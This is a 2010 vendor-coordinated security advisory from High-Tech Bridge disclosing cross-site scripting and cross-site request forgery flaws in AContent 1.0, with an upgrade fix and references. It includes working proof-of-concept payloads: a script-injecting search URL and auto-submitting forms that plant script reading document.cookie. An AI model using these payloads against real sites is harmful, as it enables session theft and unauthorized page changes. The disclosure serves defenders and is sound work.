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Multiple Vulnerabilities in AContent

Advisory ID:HTB22596
Product:AContent
Vendor:Inclusive Design Institute
Vulnerable Versions:1.0 and probably prior
Tested Version:1.0
Advisory Publication:September 1, 2010 [without technical details]
Vendor Notification:September 1, 2010
Public Disclosure:September 15, 2010
Latest Update:September 9, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in AContent which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in AContent
1.1 The vulnerability exists due to input sanitation error in the "search_text" parameter in home/search.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/home/search.php?search_text=txt"><script>alert(document.cookie)< /script>&catid=&search=S earch
1.2 The vulnerability exists due to input sanitation error in the "copyright" parameter in home/course/course_property.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in and has access to course properties.
Exploitation example:
<form action="http://host/home/course/course_property.php?_course_id=COURSE_ID" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="_course_id" value="COURSE_ID" />
<input type="hidden" name="title" value="Creating Lesson in AContent" />
<input type="hidden" name="category_id" value="0" />
<input type="hidden" name="pri_lang" value="en" />
<input type="hidden" name="description" value="Learn how to" />
<input type="hidden" name="copyright" value='1"><script>alert(document.cookie)</script>' />
<input type="submit" name="submit" id="sbmtit" value="Save" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>


2) Cross-site request forgery in AContent
The vulnerability exists due to insufficient validation of the request origin in home/editor/edit_content.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify pages. It is also possible to store and execute arbitrary HTML and script code due to a input sanitation error in the “body_text” HTTP POST parameter. Successful exploitation requires that victim has access to manage courses.
Exploitation example:
<form action="http://host/home/editor/edit_content.php?_cid=PAGE_ID" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="_course_id" value="54" />
<input type="hidden" name="_cid" value="PAGE_ID" />
<input type="hidden" name="title" value="page title" />
<input type="hidden" name="ordering" value="1" />
<input type="hidden" name="pid" value="0" />
<input type="hidden" name="alternatives" value="" />
<input type="hidden" name="current_tab" value="0" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="test_message" value="" />
<input type="submit" name="submit" id="sbmtit" value="Save" />
<input type="hidden" name="displayhead" value="0" />
<input type="hidden" name="displaypaste" value="0" />
<input type="hidden" name="complexeditor" value="1" />
<input type="hidden" name="title" value="atest ah" />
<input type="hidden" name="formatting" value="1" />
<input type="hidden" name="head" value="" />
<input type="hidden" name="uploadedfile_paste" value="" />
<input type="hidden" name="body_text" value='hello world html<script>alert(document.cookie)</script>' />
<input type="hidden" name="weblink_text" value="" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to AContent 1.2:
http://sourceforge.net/projects/acontent/files/AContent-1.2.tar.gz/download
http://sourceforge.net/news/?group_id=342183&id=303982


References:
[1] High-Tech Bridge Advisory HTB22596 - https://www.htbridge.com/advisory/HTB22596 - Multiple Vulnerabilities in AContent
[2] AContent - http://atutor.ca/acontent/ - AContent is an open source learning content authoring system and respository used to create interoperable, accessible, adaptive Web-based learning content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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